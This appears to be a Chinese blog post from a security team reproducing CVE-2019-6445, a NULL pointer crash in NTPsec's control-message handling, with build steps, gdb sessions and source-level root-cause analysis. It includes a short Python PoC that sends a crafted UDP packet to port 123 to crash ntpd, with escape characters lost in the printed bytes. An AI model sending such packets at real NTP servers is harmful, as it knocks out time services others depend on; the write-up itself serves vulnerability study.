怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
NTPsec是一个基于网络时间协议(Network Time Protocol,NTP)的开源时间同步软件项目。它是对传统的NTP软件的重新实现,旨在提供更高的安全性、可靠性和性能。
NTP是用于在计算机网络中同步时钟的协议,它允许计算机通过网络获取准确的时间信息。传统的NTP实现存在一些安全和可靠性方面的问题,例如容易受到网络攻击和时间信息伪造。NTPsec项目致力于解决这些问题,并改进NTP软件的功能。
NTPsec项目的目标是提供一个更安全、更现代化、更易于维护的NTP实现。它采用了更严格的代码审查和安全措施,修复了安全漏洞,并改进了协议的可靠性和性能。NTPsec还通过支持新的网络安全特性,如Network Time Security(NTS),提供了更强大的安全保护。
NTPsec的开发始于2014年,由一群志愿者开发者组成的团队共同推动。该项目是开源的,遵循自由软件许可证(类似于BSD许可证)。它在Linux、Unix和类似系统上可用,并广泛用于服务器、网络设备和其他需要准确时间同步的系统中。
NTPsec是一个网络时间协议的实现。
NTPsec 1.1.3之前版本中的ntp_control.c文件存在空指针逆向引用漏洞。攻击者可利用该漏洞造成tpd崩溃。
poc:https://github.com/snappyJack/CVE-2019-8936/
源码:https://github.com/ntpsec/ntpsec/releases/tag/NTPsec_1_1_2
#!/usr/bin/env python
# note this PoC exploit uses keyid 1, password: gurka
import sys
import socket
buf = ("x16x03x00x03x00x00x00x00x00x00x00x04x6cx65x61x70" +
"x00x00x00x01x5cxb7x3cxdcx9fx5cx1ex6axc5x9bxdfxf5" +
"x56xc8x07xd4")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))
1. 安装root权限启动buildprep
2.提示没有安装bsion
3. 安装更新出错,dhcp
4. 安装bison
5. 配置configure,设置成允许调试,这里一定要加上编译时的ldflags,不然会报错未定义的引用'_asan_init_v4'
6. 安装asan
7. 修改配置文件ntp.conf
kyes文件
8. gdb启动调试,报错
1. ubuntu22换成ubuntu18换成服务器Cento都报错,然后又换成ubuntu18,不过这次找到是的是ntp1.1.2的官方仓库下载的源码:https://github.com/ntpsec/ntpsec/releases/tag/NTPsec_1_1_2
2. 解压tar文件tar -zxvf ./ntpsec-NTPsec_1_1_2.tar.gz
3. 构建准备buildprep
4. 编译并且允许对其进行调试./waf configure --enable-debug --enable-debug-gdb
5. 查找配置文件位置,启动编译好的文件需要找个选项find / -name "ntp.conf"
6. gdb启动并且下断点 sudo gdb --args ./build/main/ntpd/ntpd -n -c ./packaging/SUSE/ntp.conf b ctl_getitem r
7. 发现已经运行了,端口是123
8. 另外一个终端执行poc,注意是python2
#!/usr/bin/env python
# note this PoC exploit uses keyid 1, password: gurka
import sys
import socket
buf = ("x16x03x00x03x00x00x00x00x00x00x00x04x6cx65x61x70" +
"x00x00x00x01x5cxb7x3cxdcx9fx5cx1ex6axc5x9bxdfxf5" +
"x56xc8x07xd4")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))
8. 卡到这里了
rdi指针是空的
9. 查看valuep发现指针是空的,这里明显是对空指针进行了引用
10. 对源码分析可以发现源码变量valuep在这之前只有两处引用,而且这两次都是经过ctl_getitem函数处理之后,所以ctl_getitem函数有问题
11. 为了验证猜想在源码2911行下断点,然后重新执行poc可以看到现在指针非空
通过ni对汇编层面进行调试到ctl_getitem函数
然后ni finish跳出函数,观察valuep的值
由此可以得出确实是ctl_getitem函数导致了空指针的产生
技巧:这里如何对源码和汇编同时进行调试呢?
通过ni si 对汇编进行调试
通过n s 对源码进行调试
12. 对问题函数ctl_getitem进行分析,这次进入函数内部用gdb进行分析
a. 源代码
/*
* ctl_getitem - get the next data item from the incoming packet
*/
static const struct ctl_var *
ctl_getitem(
const struct ctl_var *var_list,
char **data
)
{
/* [Bug 3008] First check the packet data sanity, then search
* the key. This improves the consistency of result values: If
* the result is NULL once, it will never be EOV again for this
* packet; If it's EOV, it will never be NULL again until the
* variable is found and processed in a given 'var_list'. (That
* is, a result is returned that is neither NULL nor EOV).
*/
static const struct ctl_var eol = { 0, EOV, NULL };
static char buf[128];
static u_long quiet_until;
const struct ctl_var *v;
char *cp;
char *tp;
/*
* Part One: Validate the packet state
*/
/* Delete leading commas and white space */
while (reqpt < reqend && (*reqpt == ',' ||
isspace((unsigned char)*reqpt)))
reqpt++;
if (reqpt >= reqend)
return NULL;
/* Scan the string in the packet until we hit comma or
* EoB. Register position of first '=' on the fly. */
for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {
if (*cp == '=' && tp == NULL)
tp = cp;
if (*cp == ',')
break;
}
/* Process payload, if any. */
*data = NULL;
if (NULL != tp) {
/* eventually strip white space from argument. */
const char *plhead = tp + 1; /* skip the '=' */
const char *pltail = cp;
size_t plsize;
while (plhead != pltail && isspace((u_char)plhead[0]))
++plhead;
while (plhead != pltail && isspace((u_char)pltail[-1]))
--pltail;
/* check payload size, terminate packet on overflow */
plsize = (size_t)(pltail - plhead);
if (plsize >= sizeof(buf))
goto badpacket;
/* copy data, NUL terminate, and set result data ptr */
memcpy(buf, plhead, plsize);
buf[plsize] = '�';
*data = buf;
} else {
/* no payload, current end --> current name termination */
tp = cp;
}
/* Part Two
*
* Now we're sure that the packet data itself is sane. Scan the
* list now. Make sure a NULL list is properly treated by
* returning a synthetic End-Of-Values record. We must not
* return NULL pointers after this point, or the behaviour would
* become inconsistent if called several times with different
* variable lists after an EoV was returned. (Such a behavior
* actually caused Bug 3008.)
*/
if (NULL == var_list)
return &eol;
for (v = var_list; !(EOV & v->flags); ++v)
if (!(PADDING & v->flags)) {
/* Check if the var name matches the buffer. The
* name is bracketed by [reqpt..tp] and not NUL
* terminated, and it contains no '=' char. The
* lookup value IS NUL-terminated but might
* include a '='... We have to look out for
* that!
*/
const char *sp1 = reqpt;
const char *sp2 = v->text;
/* [Bug 3412] do not compare past NUL byte in name */
while ( (sp1 != tp)
&& ('�' != *sp2) && (*sp1 == *sp2)) {
++sp1;
++sp2;
}
if (sp1 == tp && (*sp2 == '�' || *sp2 == '='))
break;
}
/* See if we have found a valid entry or not. If found, advance
* the request pointer for the next round; if not, clear the
* data pointer so we have no dangling garbage here.
*/
if (EOV & v->flags)
*data = NULL;
else
reqpt = cp + (cp != reqend);
return v;
badpacket:
/*TODO? somehow indicate this packet was bad, apart from syslog? */
numctlbadpkts++;
NLOG(NLOG_SYSEVENT)
if (quiet_until <= current_time) {
quiet_until = current_time + 300;
msyslog(LOG_WARNING,
"Possible 'ntpdx' exploit from %s#%" PRIu16 " (possibly spoofed)",
socktoa(rmt_addr), SRCPORT(rmt_addr));
}
reqpt = reqend; /* never again for this packet! */
return NULL;
}
/*
* control_unspec - response to an unspecified op-code
*/
/*ARGSUSED*/
static void
control_unspec(
struct recvbuf *rbufp,
int restrict_mask
)
{
struct peer *peer;
UNUSED_ARG(rbufp);
UNUSED_ARG(restrict_mask);
/*
* What is an appropriate response to an unspecified op-code?
* I return no errors and no data, unless a specified association
* doesn't exist.
*/
if (res_associd) {
peer = findpeerbyassoc(res_associd);
if (NULL == peer) {
ctl_error(CERR_BADASSOC);
return;
}
rpkt.status = htons(ctlpeerstatus(peer));
} else
rpkt.status = htons(ctlsysstatus());
ctl_flushpkt(0);
}
b. 可以看出来这个函数第二个参数是被修改的对象,所以对data进行追踪,这里是二级指针,我们最后是因为valuep的值是0,所以导致原因是*data被赋值成0返回了。调试前valuep的值
再*data引用的位置下断点然后继续跟,发现还是这个值
第一次处理就变成了0
然后在第二个处理的地方下断点发现不会执行,导致了指针为空
往前回溯可以发现因为tp指针被设置成0导致if语句没有被执行,那为什么呢?跟进tp指针,可以发现这里要求字符串有等号,但是没有,通过查看内存十六进制,可以发现就是poc的值没有等号导致的
至此,分析完毕
c. 验证,如果我们在paylaod里面放入"=",是不是就不会触发漏洞呢?真怪,这里把buf随便修改,但凡只要有等号就在gdb停不住,这个确实有点迷惑,等以后水平提高了再来学习
1. 下载官方源码或者换平台,不然容易环境特别难配
2. 用gdb调试的时候注意ni n si s p打印变量的混合使用
CVE-2019-6445分析复现 - 先知社区
CVE-2019-6445分析
阿里云漏洞库
我们这里主要分析 source 点 到 sink 点的路径 ,以及程序对数据包如何解析,最终导致了漏洞的触发
bt查看调用链
函数调用链
int main(int argc, char *argv[])
{
return ntpdmain(argc, argv);
}
守护进程的主函数
static int ntpdmain(int, char **) __attribute__((noreturn));
1. static int: 这里 static 关键字表明 ntpdmain 函数的可见范围仅限于当前文件。这意味着该函数只能在这个文件内部被调用,不能被其他文件中的代码访问。int 表明该函数返回一个整型值。
2. ntpdmain: 这是函数的名字。
3. (int, char **): 这指定了 ntpdmain 函数接受的参数类型。这里它接受两个参数,第一个是整型,通常用来表示程序启动时的参数个数,第二个是指向字符指针的指针,通常用来传递程序启动时的参数列表。
4. __attribute__((noreturn)): 这是一个编译器属性,它告诉编译器这个函数不会正常返回控制流到调用者。也就是说,一旦进入这个函数,它就会一直运行下去,直到程序终止。通常这样的函数会有一个无限循环或者会调用 exit() 函数来结束整个程序。
这段代码定义了一个 mainloop 函数,它是 NTP 守护进程的主要循环。这个函数将一直监听和处理网络数据包,直到程序被中断或退出。由于 mainloop 函数不会正常返回,所以调用它的位置之后的任何代码都不会被执行。
/*
* Process incoming packets until exit or interrupted.
*/
static void mainloop(void)
struct recvbuf *rbuf;
rbuf = get_full_recv_buffer(); // 获取一个接收到的数据包
while (rbuf != NULL) { // 当获取到的数据包不为空时
if (sig_flags.sawALRM) { // 检查是否有定时器到期信号
timer(); // 如果有定时器到期信号,处理定时器到期
sig_flags.sawALRM = false; // 清除定时器到期信号标志
}
/*
* Call the data procedure to handle each received packet.
*/
if (rbuf->receiver != NULL) { // 检查数据包是否有关联的接收回调函数
#ifdef ENABLE_DEBUG_TIMING
l_fp dts = pts;
dts -= rbuf->recv_time; // 计算处理延迟
DPRINT(2, ("processing timestamp delta %s (with prec. fuzz)n", lfptoa(dts, 9))); // 输出处理延迟
collect_timing(rbuf, "buffer processing delay", 1, dts); // 收集处理延迟统计
bufcount++; // 增加缓冲区计数
#endif
(*rbuf->receiver)(rbuf); // 调用接收回调函数处理数据包
} else {
msyslog(LOG_ERR, "ERR: fatal: receive buffer callback NULL"); // 日志记录:致命错误,接收缓冲区回调函数为空
abort(); // 强制退出程序
}
freerecvbuf(rbuf); // 释放接收缓冲区
rbuf = get_full_recv_buffer(); // 获取下一个接收到的数据包
}
这个receive函数就是我们需要分析的重点了,这个就是程序的source点,是我们网络数据包进入程序的地方。
输入来自于一个结构体struct recvbuf
void receive
(
struct recvbuf *rbufp
)
struct recvbuf {
recvbuf_t * link; /* next in list */
sockaddr_u recv_srcadr;
sockaddr_u srcadr; /* where packet came from */
struct netendpt * dstadr; /* address pkt arrived on */
SOCKET fd; /* fd on which it was received */
l_fp recv_time; /* time of arrival */
void (*receiver)(struct recvbuf *); /* callback */
size_t recv_length; /* number of octets received */
union {
struct pkt X_recv_pkt;
uint8_t X_recv_buffer[RX_BUFF_SIZE];
} recv_space;
#define recv_pkt recv_space.X_recv_pkt
#define recv_buffer recv_space.X_recv_buffer
struct parsed_pkt pkt; /* host-order copy of data from wire */
int used; /* reference count */
bool keyid_present;
keyid_t keyid;
int mac_len;
#ifdef REFCLOCK
bool network_packet;
struct peer * recv_peer;
#endif /* REFCLOCK */
};
通过调试我们得到我们发送的数据包存到了这里,一个是解析的结构体,一个是数组,我们来观察这个结构体
struct pkt {
uint8_t li_vn_mode; /* peer leap indicator */
uint8_t stratum; /* peer stratum */
uint8_t ppoll; /* peer poll interval */
int8_t precision; /* peer clock precision */
u_fp rootdelay; /* roundtrip delay to primary source */
u_fp rootdisp; /* dispersion to primary source*/
uint32_t refid; /* reference id */
l_fp_w reftime; /* last update time */
l_fp_w org; /* originate time stamp */
l_fp_w rec; /* receive time stamp */
l_fp_w xmt; /* transmit time stamp */
/* Old style authentication was just appended
* without the type/length of an extension header. */
/* Length includes 1 word of keyID */
/* MD5 length is 16 bytes => 4+1 */
/* SHA length is 20 bytes => 5+1 */
#define MIN_MAC_LEN (1 * sizeof(uint32_t)) /* crypto_NAK */
#define MAX_MAC_LEN (6 * sizeof(uint32_t)) /* MAX of old style */
uint32_t exten[(MAX_MAC_LEN) / sizeof(uint32_t)];
} __attribute__ ((aligned));
1. 时间戳信息:
o 包含多个时间戳字段,如reftime(最后一次更新时间)、org(起源时间戳)、rec(接收时间戳)和xmt(发送时间戳)。
2. 时钟和精度信息:
o 包含stratum(层次级别)、ppoll(轮询间隔)和precision(时钟精度)等字段,用于描述时间源的质量和状态。
3. 延迟和分散度:
o 包含rootdelay(往返延迟)和rootdisp(分散度)等字段,用于描述到主时间源的延迟和误差。
4. 扩展字段:
o 包含一个名为exten的数组,用于存储认证信息等扩展字段。这些字段可以包含不同长度的消息认证码(MAC),如MD5或SHA哈希值。
5. 内存对齐:
o 结构体末尾的__attribute__((aligned))确保结构体按照一定的对齐方式进行存储,以优化内存访问速度。
漏洞触发的路径中,在receive函数中的数据处理中,数据流向了控制包处理中。
process_control 函数主要用于处理接收到的控制消息。在 NTP(Network Time Protocol)或其他类似协议中,控制消息通常用于管理和监控目的,而不是用于时间同步。这类消息可能包含诊断信息、配置命令或其他管理功能。
if(is_control_packet(rbufp)) {
process_control(rbufp, restrict_mask);
stat_count.sys_processed++;
goto done;
}
static bool is_control_packet
(
struct recvbuf const* rbufp
)
{
return rbufp->recv_length >= 1 &&
PKT_VERSION(rbufp->recv_space.X_recv_buffer[0]) <= 4 &&
PKT_MODE(rbufp->recv_space.X_recv_buffer[0]) == MODE_CONTROL;
}
/*
* process_control - process an incoming control message
*/
void
process_control(
struct recvbuf *rbufp,
int restrict_mask
)
根据函数调用栈,数据所流向了这个函数处理模块,对两个结构体进行分析
/*
* Look for the opcode processor
*/
for (cc = control_codes; cc->control_code != NO_REQUEST; cc++) {
if (cc->control_code == res_opcode) {
DPRINT(3, ("opcode %d, found command handlern",
res_opcode));
if (cc->flags == AUTH
&& (NULL == res_auth
|| res_auth->keyid != ctl_auth_keyid)) {
ctl_error(CERR_PERMISSION);
return;
}
(cc->handler)(rbufp, restrict_mask);
return;
}
}
struct ctl_proc 是一个用于存储请求处理程序信息的结构体。它用于定义和组织处理不同控制消息所需的信息。这个结构体在处理控制消息时起到了关键作用,因为它将操作码、标志位和处理函数关联起来,使得程序可以根据接收到的操作码快速定位并执行相应的处理逻辑。
/*
* Structure to hold request procedure information
*/
struct ctl_proc {
short control_code; /* defined request code */
#define NO_REQUEST (-1)
unsigned short flags; /* flags word */
/* Only one flag. Authentication required or not. */
#define NOAUTH 0
#define AUTH 1
void (*handler) (struct recvbuf *, int); /* handle request */
};
static const struct ctl_proc control_codes[] 是一个静态常量数组,用于存储一组预定义的控制消息处理信息。这个数组中的每个元素都是一个 struct ctl_proc 类型的结构体,用于定义控制消息的操作码、标志和处理函数。
static const struct ctl_proc control_codes[] = {
{ CTL_OP_UNSPEC, NOAUTH, control_unspec },
{ CTL_OP_READSTAT, NOAUTH, read_status },
{ CTL_OP_READVAR, NOAUTH, read_variables },
{ CTL_OP_WRITEVAR, AUTH, write_variables },
{ CTL_OP_READCLOCK, NOAUTH, read_clockstatus },
{ CTL_OP_WRITECLOCK, NOAUTH, write_clockstatus },
{ CTL_OP_CONFIGURE, AUTH, configure },
{ CTL_OP_READ_MRU, NOAUTH, read_mru_list },
{ CTL_OP_READ_ORDLIST_A, AUTH, read_ordlist },
{ CTL_OP_REQ_NONCE, NOAUTH, req_nonce },
{ NO_REQUEST, 0, NULL }
};
如果要想数据进入write_variables函数,必须处理以下操作码和操作数
{ CTL_OP_WRITEVAR, AUTH, write_variables }
只要是处理这个函数那一定会执行write_variables 函数
(cc->handler)(rbufp, restrict_mask);
这段代码定义了一个名为 write_variables 的函数,用于处理写入变量的操作。该函数接收两个参数:struct recvbuf *rbufp 和 int restrict_mask。函数的主要任务是从接收到的数据包中解析出变量名和值,并根据这些信息更新系统中的变量。
/*
* write_variables - write into variables. We only allow leap bit
* writing this way.
*/
/*ARGSUSED*/
static void
write_variables(
struct recvbuf *rbufp,
int restrict_mask
)
UNUSED_ARG(rbufp);
UNUSED_ARG(restrict_mask);
这两行代码用来标记 rbufp 和 restrict_mask 参数在函数内部没有被使用,这是为了满足编译器关于未使用的参数警告的要求。
当然分析到这块可以发现,我们的poc和漏洞的直接触发没有关系,它的作用只是作为一个认证触发漏洞这个函数的条件,这样分析,只是想把数据包的运行过程说明白,以后遇到类似的问题可以知道怎么分析
但是根据我们之前的分析,这个函数指针为空的原因就是没有运行后面的if判断,而导致的直接原因就是数据包的数据内容导致的
/* Scan the string in the packet until we hit comma or
* EoB. Register position of first '=' on the fly. */
for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {
if (*cp == '=' && tp == NULL)
tp = cp;
if (*cp == ',')
break;
}
这段代码的作用是从接收到的数据包中扫描一段字符串,直到遇到逗号(,)或字符串的末尾(EoB,End of Buffer)。同时,它还会记录第一个等号(=)的位置。这样的扫描主要用于解析控制消息中的变量名和值
但是我们在之前的解析当中并没有发现这块的路径,即数据包是如何被传进来的?一下函数都是ntp_control.c
向上分析找到数据的传入点
继续寻找定义
继续跟踪函数定义,解析数据函数,将收到的数据传输到了pkt->data这段代码定义了一个名为 unmarshall_ntp_control 的函数,其作用是从接收到的数据包中解析出 NTP 控制信息,并将其存储在一个 struct ntp_control 结构体中。这个函数将接收到的数据流转换成结构化的形式,便于后续处理。
在函数中的开始阶段,保存错误响应的地址,已经调用了解析函数
经过调试也可以得到,这里的数据经过复制以后给到了pkt.data的地方
这里面没有逗号导致一直tp一直为空,if条件没有执行,data为空
二维指针导致这里访问空地址
至此我们的数据从source点到sink点的路径一目了然了,下面做梳理路径
// 程序流程
main -> ntpdmain->mainloop—>receive -> process_control -> unmarshall_ntp_control(pkt_core) -> (pkt=&pkt_core->reqpt) -> (reqpt=(char *)pkt->data) -> write_variables -> ctl_getitem
// 数据流向
receive -> process_control -> unmarshall_ntp_control(pkt_core) -> (pkt=&pkt_core->reqpt) -> (reqpt=(char *)pkt->data) -> write_variables -> ctl_getitem
// 漏洞触发
ctl_getitem导致空指针
write_variables引用空指针
原文始发于微信公众号(SecNL安全团队):怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论